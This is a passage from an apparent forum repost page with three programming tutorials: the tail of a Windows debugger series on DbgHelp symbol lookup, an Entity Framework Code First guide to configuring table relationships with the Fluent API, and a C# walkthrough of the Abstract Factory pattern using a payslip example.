77430B91 Stack address: 00000000 Frame address: 0018FFE4 Symbol found at 77430B91. Name: RtlInitializeExceptionChain. Base address of module: 00000000 Symbol name: RtlInitializeExceptionChain Symbol address: 77430B37 Address displacement: 0 Source file: (null) Line number: 0 StackWalk64 finished. This looks much more useful compared to just getting absolute addresses as in the previous version. Here, for some symbols, the source files can be found on the host machine and be presented to the user alongside the raw assembly. Additionally, symbols can be printed for any module as shown below: y Enter in module name to dump symbols for: kernel32.dll Symbol name: QuirkIsEnabledWorker Symbol address: 76AE0010 Address displacement: 0 Source file: (null) Line number: 0 Symbol name: EnumCalendarInfoExEx Symbol address: 76AE03BD Address displacement: 0 Source file: (null) Line number: 0 Symbol name: GetFileMUIPath Symbol address: 76AE03CE Address displacement: 0 Source file: (null) Line number: 0 ... That concludes the topic on symbols. The implementation presented here only scratched the surface of what is available in terms of the DbgHelp API, and I recommend that those interested further explore the MSDN documentation on the topics. The next article will conclude the series with a collection of miscellaneous features that debuggers typically possess. For that piece, it will probably include the ability to step over code (step into is currently implemented), present a disassembly listing to the user for x86 and x64, and allow for modification of arbitrary memory, instead of just registers and/or a thread context. Article Roadmap Future posts will be related on topics closely following the items below: Basics Adding/Removing Breakpoints, Single-stepping Call Stack, Registers, Contexts Symbols Miscellaneous Features The full source code relating to this can be found here. C++11 features were used, so MSVC 2012/2013 is most likely required. Source
  23. Download source - 3.4 MB Introduction A relationship, in the context of databases, is a situation that exists between two relational database tables when one table has a foreign key that references the primary key of the other table. Relationships allow relational databases to split and store data in various tables, while linking disparate data items. For example, if we want to store information about a Customer and his Order, then we need to create two tables, one for the Customer and another for the Order. Both tables, Customer and Order, will have the relationship one-to-many so whenever we retrieve all orders of a customer, then we can easily retrieve them. There are several types of database relationships. In this article, I will cover the following: One-to-One Relationships One-to-Many or Many to One Relationships Many-to-Many Relationships Entity Framework Code First allows us to use our own domain classes to represent the model that Entity Framework relies on to perform querying, change tracking and updating functions. The Code First approach follows conventions over the configuration, but it also gives us two ways to add a configuration on over classes. One is using simple attributes called DataAnnotations and another is using Code First's Fluent API, that provides you with a way to describe configuration imperatively, in code. This article will focus on tuning up the relationship in the Fluent API. To understand the relationship in the Entity Framework Code First approach, we create an entity and define their configuration using the Fluent API. We will create two class library projects, one library project (EF.Core) has entities and another project (EF.Data) has these entities configuration with DbContext. We also create a unit test project (EF.UnitTest) that will be used to test our code. We will use the following classes that are in a class diagram to explain the preceding three relationships. Figure 1.1 Class Diagram for Entities. As in the preceding class diagram, the BaseEntity class is a base class that is inherited by each other class. Each derived entity represents each database table. We will use two derived entities combination from the left side to explain each relationship type and that's why we create six entities. So first of all, we create the BaseEntity class that is inherited by each derived entity under the EF.Core class library project. using System; namespace EF.Core { public abstract class BaseEntity { public Int64 ID { get; set; } public DateTime AddedDate { get; set; } public DateTime ModifiedDate { get; set; } public string IP { get; set; } } } We use navigation properties to access a related entity object from one to another. The navigation properties provide a way to navigate an association between two entity types. Every object can have a navigation property for every relationship in which it participates. Navigation properties allow you to navigate and manage relationships in both directions, returning either a reference object (if the multiplicity is either one or zero-or-one) or a collection (if the multiplicity is many). Now let's see each relationship one-by-one. Our Roadmap towards Learning MVC with Entity Framework Relationship in Entity Framework Using Code First Approach With Fluent API Code First Migrations with Entity Framework CRUD Operations Using Entity Framework 5.0 Code First Approach in MVC CRUD Operations Using the Repository Pattern in MVC CRUD Operations Using the Generic Repository Pattern and Unit of Work in MVC CRUD Operations Using the Generic Repository Pattern and Dependency Injection in MVC One-to-One Relationship Both tables can have only one record on either side of the relationship. Each primary key value relates to only one record (or no records) in the related table. Keep in mind that this kind of relationship is not very common and most one-to-one relationships are forced by business rules and don't flow naturally from the data. In the absence of such a rule, you can usually combine both tables into one table without breaking any normalization rules. To understand one-to-one relationships, we create two entities, one is User and another is UserProfile. One user can have a single profile, a User table that will have a primary key and that same key will be both primary and foreign keys for the UserProfile table. Let’s see Figure 1.2 for one-to-one relationship. Figure 1.2: One-to-One Relationship Now we create both entities User and UserProfile in the EF.Core project under the Data folder. Our User class code snippet is as in the following: namespace EF.Core.Data { public class User : BaseEntity { public string UserName { get; set; } public string Email { get; set; } public string Password { get; set; } public UserProfile UserProfile { get; set; } } } The UserProfile class code snippet is as in the following: namespace EF.Core.Data { public class UserProfile : BaseEntity { public string FirstName { get; set; } public string LastName { get; set; } public string Address { get; set; } public virtual User User { get; set; } } } As you can see in the preceding two code snippets, each entity is using another entity as a navigation property so that you can access the related object from each other. Now, we define the configuration for both entities that will be used when the database table will be created by the entity. The configuration defines another class library project EF.Data under the Mapping folder. Now create two configuration classes for each entity. For the User entity, we create the UserMap entity. using System.ComponentModel.DataAnnotations.Schema; using System.Data.Entity.ModelConfiguration; using EF.Core.Data; namespace EF.Data.Mapping { public class UserMap : EntityTypeConfiguration<User> { public UserMap() { //Key HasKey(t => t.ID); //Fields Property(t => t.ID).HasDatabaseGeneratedOption(DatabaseGeneratedOption.Identity); Property(t => t.UserName).IsRequired().HasMaxLength(25); Property(t => t.Email).IsRequired(); Property(t => t.AddedDate).IsRequired(); Property(t => t.ModifiedDate).IsRequired(); Property(t => t.IP); //table ToTable("Users"); } } } We will use the same way to create the configuration for other entities as for the User. EntityTypeConfiguration is an important class that allows configuration to be performed for an entity type in a model. This is done using the modelbuilder in an override of the OnModelCreate method. The constructor of the UserMap class uses the Fluent API to map and configure properties in the table. So let's see each method used in the constructor one-by-one. HasKey(): The Haskey() method configures a primary key on table. Property(): The Property method configures attributes for each property belonging to an entity or complex type. It is used to obtain a configuration object for a given property. The options on the configuration object are specific to the type being configured. HasDatabaseGeneratedOption: It configures how values for the property are generated by the database. DatabaseGeneratedOption.Identity: DatabaseGeneratedOption is the database annotation. It enumerates a database generated option. DatabaseGeneratedOption.Identity is used to create an auto-increment column in the table by a unique value. ToTable(): Configures the table name that this entity type is mapped to. Now create the UserProfile configuration class, the UserProfileMap class. using System.Data.Entity.ModelConfiguration; using EF.Core.Data; namespace EF.Data.Mapping { public class UserProfileMap : EntityTypeConfiguration<UserProfile> { public UserProfileMap() { //key HasKey(t => t.ID); //fields Property(t => t.FirstName); Property(t => t.LastName); Property(t => t.Address).HasMaxLength(100).HasColumnType("nvarchar"); Property(t => t.AddedDate); Property(t => t.ModifiedDate); Property(t => t.IP); //table ToTable("UserProfiles"); //relationship HasRequired(t => t.User).WithRequiredDependent(u => u.UserProfile); } } } In the code snippet above, we defined a one-to-one relationship between both User and UserProfiles entities. This relationship is defined by the Fluent API using the HasRequired() and WithRequiredDependent() methods so these methods are as in the following: HasRequired(): Configures a required relationship from this entity type. Instances of the entity type will not be able to be saved to the database unless this relationship is specified. The foreign key in the database will be non-nullable. In other words, UserProfile can’t be saved independently without User entity. WithRequiredDependent(): (from the MSDN) Configures the relationship to be required: required without a navigation property on the other side of the relationship. The entity type being configured will be the dependent and contain a foreign key to the principal. The entity type that the relationship targets will be the principal in the relationship. Now define the connection string in App.config file under EF.Data project so that we can create database with the appropriate name. The connectionstring is: <connectionStrings> <add name="DbConnectionString" connectionString="Data Source=sandeepss-PC; Initial Catalog=EFCodeFirst;User ID=sa; Password=*******" providerName="System.Data.SqlClient" /> </connectionStrings> Now we create a context class EFDbContext (EFDbContext.cs) that inherits the DbContext class. In this class, we override the OnModelCreating() method. This method is called when the model for a context class (EFDbContext) has been initialized, but before the model has been locked down and used to initialize the context such that the model can be further configured before it is locked down. The following is the code snippet for the context class. using System; using System.Data.Entity; using System.Data.Entity.ModelConfiguration; using System.Linq; using System.Reflection; namespace EF.Data { public class EFDbContext : DbContext { public EFDbContext() : base("name=DbConnectionString") { } protected override void OnModelCreating(DbModelBuilder modelBuilder) { var typesToRegister = Assembly.GetExecutingAssembly().GetTypes() .Where(type => !String.IsNullOrEmpty(type.Namespace)) .Where(type => type.BaseType != null && type.BaseType.IsGenericType && type.BaseType.GetGenericTypeDefinition() == typeof(EntityTypeConfiguration<>)); foreach (var type in typesToRegister) { dynamic configurationInstance = Activator.CreateInstance(type); modelBuilder.Configurations.Add(configurationInstance); } base.OnModelCreating(modelBuilder); } } } As you know, the EF Code First approach follows convention over configuration, so in the constructor, we just pass the connection string name same as an App.Config file and it connects to that server. In the OnModelCreating() method, we used a reflection to map an entity to its configuration class in this specific project. We create a Unit Test Project EF.UnitTest to test the code above. We create a test class UserTest that has a test method UserUserProfileTest(). This method creates a database and populates User and UserProfile tables as per their relationship. The following is the code snippet for the UserTest class. using System; using System.Data.Entity; using EF.Core.Data; using EF.Data; using Microsoft.VisualStudio.TestTools.UnitTesting; namespace EF.UnitTest { [TestClass] public class UserTest { [TestMethod] public void UserUserProfileTest() { Database.SetInitializer<EFDbContext>(new CreateDatabaseIfNotExists<EFDbContext>()); using (var context = new EFDbContext()) { context.Database.Create(); User user = new User { UserName = "ss_shekhawat", Password = "123", Email = "sandeep.shekhawat88@test.com", AddedDate = DateTime.Now, ModifiedDate = DateTime.Now, IP = "1.1.1.1", UserProfile = new UserProfile { FirstName ="Sandeep", LastName ="Shekhawat", Address="Jaipur and Jhunjhunu", AddedDate = DateTime.Now, ModifiedDate = DateTime.Now, IP = "1.1.1.1" }, }; context.Entry(user).State = System.Data.EntityState.Added; context.SaveChanges(); } } } } Now, run the Test method and you get your table in the database with data. Run a select query in the database and get results like: SELECT [ID],[UserName],[Email],[Password],[AddedDate],[ModifiedDate],[IP]FROM [EFCodeFirst].[dbo].[Users] SELECT [ID],[FirstName],[LastName],[Address],[AddedDate] ,[ModifiedDate],[IP] FROM [EFCodeFirst].[dbo].[UserProfiles] Now execute the preceding query and then you will get results as in the following figure: Figure 1.3: Result of User and UserProfile. One-to-Many Relationship The primary key table contains only one record that relates to none, one, or many records in the related table. This is the most commonly used type of relationship. To understand this relationship, consider an e-commerce system where a single user can make many orders so we define two entities, one for the customer and another for the order. Let’s take a look at the following figure: igure 1.4 One-to-many Relationship The customer entity is as in the following: using System.Collections.Generic; namespace EF.Core.Data { public class Customer : BaseEntity { public string Name { get; set; } public string Email { get; set; } public virtual ICollection<Order> Orders { get; set; } } } The Order entity code snippet is as in the following: using System; namespace EF.Core.Data { public class Order : BaseEntity { public byte Quanatity { get; set; } public Decimal Price { get; set; } public Int64 CustomerId { get; set; } public virtual Customer Customer { get; set; } } } You have noticed the navigation properties in the code above. The Customer entity has a collection of Order entity types and the Order entity has a Customer entity type property, that means a customer can make many orders. Now create a class, the CustomerMap class in the EF.Data project to implement the Fluent API configuration for the Customer class. using System.ComponentModel.DataAnnotations.Schema; using System.Data.Entity.ModelConfiguration; using EF.Core.Data; namespace EF.Data.Mapping { public class CustomerMap : EntityTypeConfiguration<Customer> { public CustomerMap() { //key HasKey(t => t.ID); //properties Property(t => t.ID).HasDatabaseGeneratedOption(DatabaseGeneratedOption.Identity); Property(t => t.Name); Property(t => t.Email).IsRequired(); Property(t => t.AddedDate).IsRequired(); Property(t => t.ModifiedDate).IsRequired(); Property(t => t.IP); //table ToTable("Customers"); } } } Now create another mapping class for the Order entity configuration. using System.ComponentModel.DataAnnotations.Schema; using System.Data.Entity.ModelConfiguration; using EF.Core.Data; namespace EF.Data.Mapping { public class OrderMap : EntityTypeConfiguration<Order> { public OrderMap() { //key HasKey(t => t.ID); //fields Property(t => t.ID).HasDatabaseGeneratedOption(DatabaseGeneratedOption.Identity); Property(t => t.Quanatity).IsRequired().HasColumnType("tinyint"); Property(t => t.Price).IsRequired(); Property(t => t.CustomerId).IsRequired(); Property(t => t.AddedDate).IsRequired(); Property(t => t.ModifiedDate).IsRequired(); Property(t => t.IP); //table ToTable("Orders"); //relationship HasRequired(t => t.Customer).WithMany(c => c.Orders).HasForeignKey_ (t => t.CustomerId).WillCascadeOnDelete(false); } } } The code above shows that a Customer is required for each order and the Customer can make multiple orders and relationships between both made by foreign key CustomerId. Here, we use four methods to define the relationship between both entities. The WithMany method allows us to indicate which property in Customer contains the Many relationship. We add to that the HasForeignKey method to indicate which property of Order is the foreign key pointing back to customer. The WillCascadeOnDelete() method configures whether or not cascade delete is on for the relationship. Now, we create another unit test class in the EF.UnitTest Project to test the code above. Let’s see the test method that inserts data for the customer that has two orders. using System; using System.Collections.Generic; using System.Data.Entity; using EF.Core.Data; using EF.Data; using Microsoft.VisualStudio.TestTools.UnitTesting; namespace EF.UnitTest { [TestClass] public class CustomerTest { [TestMethod] public void CustomerOrderTest() { Database.SetInitializer<EFDbContext>(new CreateDatabaseIfNotExists<EFDbContext>()); using (var context = new EFDbContext()) { context.Database.Create(); Customer customer = new Customer { Name = "Raviendra", Email = "raviendra@test.com", AddedDate = DateTime.Now, ModifiedDate = DateTime.Now, IP = "1.1.1.1", Orders = new List<Order>{ new Order { Quanatity =12, Price =15, AddedDate = DateTime.Now, ModifiedDate = DateTime.Now, IP = "1.1.1.1", }, new Order { Quanatity =10, Price =25, AddedDate = DateTime.Now, ModifiedDate = DateTime.Now, IP = "1.1.1.1", } } }; context.Entry(customer).State = System.Data.EntityState.Added; context.SaveChanges(); } } } } Now run the Test method and you get your table in the database with data. Run a select query in the database and get results like: SELECT [ID],[Name],[Email],[AddedDate],[ModifiedDate],[IP]FROM [EFCodeFirst].[dbo].[Customers] SELECT [ID],[Quanatity],[Price],[CustomerId],[AddedDate],[ModifiedDate],[IP]FROM [EFCodeFirst].[dbo].[Orders] Figure 1.5 Customer and Order Data. Many-to-Many Relationship Each record in both tables can relate to any number of records (or no records) in the other table. Many-to-many relationships require a third table, known as an associate or linking table, because relational systems can't directly accommodate the relationship. To understand this relationship, consider an online course system where a single student can join many courses and a course can have many students so we define two entities, one for the student and another for the course. Let’s see the following figure for the Many-to-Many relationship. img]http://www.codeproject.com/KB/dotnet/796540/many-to-many.PNG Figure 1.6 Many-to-Many Relationship. The Student entity is as in the following code snippet that is defined under EF.Core Project. using System.Collections.Generic; namespace EF.Core.Data { public class Student : BaseEntity { public string Name { get; set; } public byte Age { get; set; } public bool IsCurrent { get; set; } public virtual ICollection<Course> Courses { get; set; } } } The Course entity is as in the following code snippet that is defined under the EF.Core Project. using System; using System.Collections.Generic; namespace EF.Core.Data { public class Course : BaseEntity { public string Name { get; set; } public Int64 MaximumStrength { get; set; } public virtual ICollection<Student> Students { get; set; } } } Both code snippets above have navigation properties that are collections, in other words one entity has another entity collection. Now creates a class StudentMap class in the EF.Data project to implement a Fluent API configuration for the Student class. using System.ComponentModel.DataAnnotations.Schema; using System.Data.Entity.ModelConfiguration; using EF.Core.Data; namespace EF.Data.Mapping { public class StudentMap : EntityTypeConfiguration<Student> { public StudentMap() { //key HasKey(t => t.ID); //property Property(t => t.ID).HasDatabaseGeneratedOption(DatabaseGeneratedOption.Identity); Property(t => t.Name); Property(t => t.Age); Property(t => t.IsCurrent); Property(t => t.AddedDate).IsRequired(); Property(t => t.ModifiedDate).IsRequired(); Property(t => t.IP); //table ToTable("Students"); //relationship HasMany(t => t.Courses).WithMany(c => c.Students) .Map(t => t.ToTable("StudentCourse") .MapLeftKey("StudentId") .MapRightKey("CourseId")); } } } The code snippet above shows that one student can join many courses and each course can have many students. As you know, to implement Many-to-Many relationships, we need a third table named StudentCourse. The MapLeftKey() and MapRightKey() methods define the key's name in the third table otherwise the key name is automatically created with classname_Id. The Left key or first key will be that in which we are defining the relationship. Now create a class, the CourseMap class, in the EF.Data project to implement the Fluent API configuration for the Course class. using System.ComponentModel.DataAnnotations.Schema; using System.Data.Entity.ModelConfiguration; using EF.Core.Data; namespace EF.Data.Mapping { public class CourseMap :EntityTypeConfiguration<Course> { public CourseMap() { //property Property(t => t.ID).HasDatabaseGeneratedOption(DatabaseGeneratedOption.Identity); Property(t => t.Name); Property(t => t.MaximumStrength); Property(t => t.AddedDate).IsRequired(); Property(t => t.ModifiedDate).IsRequired(); Property(t => t.IP); //table ToTable("Courses"); } } } Now, we create another unit test class in the EF.UnitTest Project to test the code above. Let’s see the test method that inserts data in all three tables. using System; using System.Collections.Generic; using System.Data.Entity; using EF.Core.Data; using EF.Data; using Microsoft.VisualStudio.TestTools.UnitTesting; namespace EF.UnitTest { [TestClass] public class StudentTest { [TestMethod] public void StudentCourseTest() { Database.SetInitializer<EFDbContext>(new CreateDatabaseIfNotExists<EFDbContext>()); using (var context = new EFDbContext()) { context.Database.Create(); Student student = new Student { Name = "Sandeep", Age = 25, IsCurrent = true, AddedDate = DateTime.Now, ModifiedDate = DateTime.Now, IP = "1.1.1.1", Courses = new List<Course>{ new Course { Name = "Asp.Net", MaximumStrength = 12, AddedDate = DateTime.Now, ModifiedDate = DateTime.Now, IP = "1.1.1.1" }, new Course { Name = "SignalR", MaximumStrength = 12, AddedDate = DateTime.Now, ModifiedDate = DateTime.Now, IP = "1.1.1.1" } } }; Course course = new Course { Name = "Web API", MaximumStrength = 12, AddedDate = DateTime.Now, ModifiedDate = DateTime.Now, IP = "1.1.1.1", Students = new List<Student>{ new Student { Name = "Raviendra", Age = 25, IsCurrent = true, AddedDate = DateTime.Now, ModifiedDate = DateTime.Now, IP = "1.1.1.1", }, new Student { Name = "Pradeep", Age = 25, IsCurrent = true, AddedDate = DateTime.Now, ModifiedDate = DateTime.Now, IP = "1.1.1.1", } } }; context.Entry(student).State = System.Data.EntityState.Added; context.Entry(course).State = System.Data.EntityState.Added; context.SaveChanges(); } } } } Now run the Test method and you get your table in the database with data. Run the select query in the database and get results like: SELECT [ID],[Name],[Age],[IsCurrent],[AddedDate],[ModifiedDate],[IP] FROM [EFCodeFirst].[dbo].[Students] SELECT [ID],[Name],[MaximumStrength],[AddedDate],[ModifiedDate],[IP] FROM [EFCodeFirst].[dbo].[Courses] SELECT [StudentId],[CourseId] FROM [EFCodeFirst].[dbo].[StudentCourse] Figure 1.7 Data for Students and Courses. Conclusion This article introduced relationships in the Entity Framework Code First approach using the Fluent API. I didn’t use database migration here; that is why you need to delete your database before running any test method of the unit. If you have any doubt, post as a comment or directly connect through https://twitter.com/ss_shekhawat. Source
  24. Introduction This is the first pattern falls under the creational design pattern defined by "Gang of Four". This pattern is about creating factory of factories for object creation. What problem it solves It solves the problem pertaining to object creation, and this process can be re-used several times without having change in client code. About the Article This article mainly focuses on how and where to use the Abstract Factory patterns by class diagram, working of each class with conceptual explanation and real world example. Since it provides step-by-step information for each and every part of this pattern in the context of its significance, utility, way to use, and real world scenario, this should be easily understandable for beginners too. Who should read this article? If you are novice for abstract factory design patterns. If you have gone through the abstract factory example many times but still confused, since you not able to map the code with its class diagram. If you want to know that what each class in the pattern does and how. Definition "Gang of Four" defines this pattern as follows: Provide an interface for creating families of related or dependent objects without specifying their concrete classes. Narrated - Provide an Interface / Abstract Class (of Product/Factory) for creating families of related or dependent objects without specifying their concrete classes (ConcreateProduct/ConcreteFactory). How the classes inside pattern works (What the each class does) Main Method – Instantiate the "ConcreteFactory" to get the object/instance of "AbstractFactory" return. Instantiate the "Client" for delegating the responsibility of instantiating the instance of ConcreteProduct. Uses instance of Client class to invoke methods defined inside Client class to create ConcreteProduct. AbstractProduct (Abstract Class/Interface)- It defines the method(s) that how the actual product will be created. ConcreteProduct –( a default class) Here the functionality of implementing actual product is defined. It defines the actual product(s) to be created/returned from ConcreteFactory. Note – Each product defined here should be unique in some sense (i.e. by Type, Location, Factory etc.) Adding a ConcreteProduct here implies that it is implementing the method(s) defined in inherited AbstractProduct and this ConcreteProduct will be returned by method implemented by a ConcreteFactory. AbstractFactory-( Abstract Class/Interface) Here AbstractFactory defines the AbstractProduct to be produced (could be in composition; decided by Client that how to use them), but it does not know, what concrete product actually going to be produced. Note – There could be 1 to n number of AbstractProduct(s) defined, the only care need to be taken is, whatever is being produced here, will be through composition, and each factory will have to produce all the AbstractProduct(s) whatever defined here. E. ConcreteFactory- Object/instance creation of Concrete product takes place here by implementing all the AbstractProduct defined inside AbstractFactory and instantiating the actual ConcreteProduct. Note – Since AbstractFactory pattern also called Factory of factories, they can be 2 or more ConcreteFactories to be used by single Client Client – Client must know about the Abstract Classes for Product and Factory, since it needs to use all the Abstract Products defined in Abstract Factory. It can also be used as an interaction environment for Abstract Products. The intent of AbstractFactory Pattern lies here that Client even doesnot know, which ConcreateFactory its going to use to invoke the methods defined inside AbstractFactory for creating actual product. Note – At a time it can instantiate a single ConcreteFactory to create all its object/instance(s). So it need to be called twice from main method in case of creating object/instance from 2 different factories. Before using the Code The example provided here is simple console type application. Each class and method having code comments, which explains how the code works. Its a real world scenario of generating Payslip in PDF/Excel format for different offices of same company in various countries. The example shown here uses Class/MethodName_Categoty/Type (i.e. Payslip_AbstractFactory), so that each and every class or method name can be self explanatory. While using object/instance, its initial is "o" (i.e. oAbstractFactory). The real world example (in C#) using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace AbstractFactory { class Program { static void Main(string[] args) { // Instantiating & Initializing the ConcreteFactory class to get the instance of its parent class AbstractFactory return Document_AbstractFactory oAbstractFactory_AsiaPayslip = new AsiaPayslip_ConcreteFactory(); Document_AbstractFactory oAbstractFactory_EuropePayslip = new EuropePayslip_ConcreteFactory(); // Instantiating & Initializing the Client class // in order to delegate the responsibility of invoking the method(s) defined inside the AbstractFactory PrintClient oPrintClientAsia = new PrintClient(oAbstractFactory_AsiaPayslip); PrintClient oPrintClientEurope = new PrintClient(oAbstractFactory_EuropePayslip); // Invoke the method to get the actual product using object of Client oPrintClientAsia.Print(); oPrintClientEurope.Print(); Console.ReadKey(); } } #region AbstractProduct /// <summary> /// Abstract Class/Interface : it defines the method that how the actual product will be created /// </summary> abstract class PDFDocument_AbstractProduct { public abstract void PrintPDF(); } abstract class ExcelDocument_AbstractProduct { public abstract void PrintExcel(); } #endregion #region ConcreteProduct /// <summary> /// The 'Product A1 to be returned from Factory A' class /// Here the functionality of implementating actual product is defined. /// </summary> class PayslipIndia_ConcreteProduct : PDFDocument_AbstractProduct { public override void PrintPDF() { Console.WriteLine(this.GetType().Name + ": Here are the details for 'Salary-India' in PDF"); } } /// <summary> /// The 'Product A2 to be returned from Factory A' class /// </summary> class PayslipJapan_ConcreteProduct : ExcelDocument_AbstractProduct { public override void PrintExcel() { Console.WriteLine(this.GetType().Name + ": Here are the details for 'Salary-Japan' in Excel"); } } /// <summary> /// The 'Product B1 to be returned from Factory B' class /// </summary> class PayslipUK_ConcreteProduct : PDFDocument_AbstractProduct { public override void PrintPDF() { Console.WriteLine(this.GetType().Name + ": Here are the details for 'Salary-UK' in PDF"); } } /// <summary> /// The 'Product B2 to be returned from Factory B' class /// </summary> class PayslipFrance_ConcreteProduct : ExcelDocument_AbstractProduct { public override void PrintExcel() { Console.WriteLine(this.GetType().Name + ": Here are the details for 'Salary-France' in Excel"); } } #endregion #region AbstractFactory /// <summary> /// Here factory defines the AbstractProduct to be produced (could be in composition; decided by Client) /// but it does not know, what concrete product actually going to be produced. /// </summary> abstract class Document_AbstractFactory { public abstract PDFDocument_AbstractProduct GetPDFObject_AbstractProduct(); public abstract ExcelDocument_AbstractProduct GetExcelObject_AbstractProduct(); } #endregion #region ConcreteFactory /// <summary> /// The 'ConcreteFactory A' class : The 'ConcreteCreator'(in FactoryMetod)/'ConcreteFactory'(in AbstractFactory pattern) /// Object creation preocess of Concrete products takes place here /// </summary> class AsiaPayslip_ConcreteFactory : Document_AbstractFactory { public override PDFDocument_AbstractProduct GetPDFObject_AbstractProduct() { return new PayslipIndia_ConcreteProduct(); } public override ExcelDocument_AbstractProduct GetExcelObject_AbstractProduct() { return new PayslipJapan_ConcreteProduct(); } } /// <summary> /// The 'ConcreteFactory B' class /// </summary> class EuropePayslip_ConcreteFactory : Document_AbstractFactory { public override PDFDocument_AbstractProduct GetPDFObject_AbstractProduct() { return new PayslipUK_ConcreteProduct(); } public override ExcelDocument_AbstractProduct GetExcelObject_AbstractProduct() { return new PayslipFrance_ConcreteProduct(); } } #endregion #region Client /// <summary> /// This decides how the final product will be prepared. /// </summary> class PrintClient { PDFDocument_AbstractProduct oPDF_AbstractProduct; ExcelDocument_AbstractProduct oExcel_AbstractProduct; // Client Constructor public PrintClient(Document_AbstractFactory oAbstractFactory) { oPDF_AbstractProduct = oAbstractFactory.GetPDFObject_AbstractProduct(); oExcel_AbstractProduct = oAbstractFactory.GetExcelObject_AbstractProduct(); } public void Print() { oPDF_AbstractProduct.PrintPDF(); oExcel_AbstractProduct.PrintExcel(); } } #endregion } Output Points of Interest Here are some pattern observations which conclude that when to use it: The keyword "new" is being used in "Concrete Factory" & main method only. So the instance creation is taking place at two places only, or we can say just one, since main method is not the conceptual part of this pattern. Thus saves a lots of memory consumptions. Since adding n number of Factories will not require any change in client code, where actual Object/instance is being invoked (not instantiated) using instance of Abstract Factory, so this can be useful when number of ConcreteFatory may be increased in future This can also be used in cases where the process of making actual product is very well defined and fixed. Since making changes in Abstract Factory is not advisable. When you need to keep the details of object/instances instantiation(at Client) separate, or The creation of object/instances(at client) should be independent from the utilizing system(main method) or Concrete classes should be decoupled from clients. Since more than one AbstractProduct can be defined under single AbstractFactory, it can be used in such cases where a task requires to use more than 1 process as composition Since instantiating a single or multiple concreateFactory can be managed in main method. it can also be used in scenarios where System requires to work with multiple families of products or instactiation of factory has to be decided at run-time under main method. FAQ Is there any restriction of using abstract class? No, Interface can also be used in place of Abstract class, as required. Is there any limitation on using concrete class (Product/Factory)? No, but there ideally they should be 2 or more, otherwise Factory pattern can be used if there is one concrete product and one concrete factory (which is called ConcreteCreator in Factory method) Is there compulsory use of Client in Abstract Factory? Yes, Client plays a very important role here, First it does not know about the concrete classes, so adding n number of concrete classes does not require any change here. Second it invokes the AbstractFactory to create product. Third it can also serves as interaction environment for AbstractProduct if required. Source
×
×
  • Create New...